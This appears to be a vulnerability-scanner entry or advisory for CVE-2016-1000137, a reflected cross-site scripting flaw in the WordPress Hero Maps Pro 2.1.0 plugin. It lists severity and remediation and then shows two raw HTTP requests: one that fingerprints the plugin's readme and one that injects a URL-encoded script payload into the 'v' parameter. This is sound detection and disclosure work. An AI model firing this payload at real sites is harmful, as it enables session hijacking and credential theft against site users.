| Title | WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of WordPress Hero Maps Pro plugin (2.1.1 or higher) which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07251 |
| CVE ID | CVE-2016-1000137 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin maps hero-maps-pro_project vuln |
WordPress Hero Maps Pro 2.1.0 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/hero-maps-pro/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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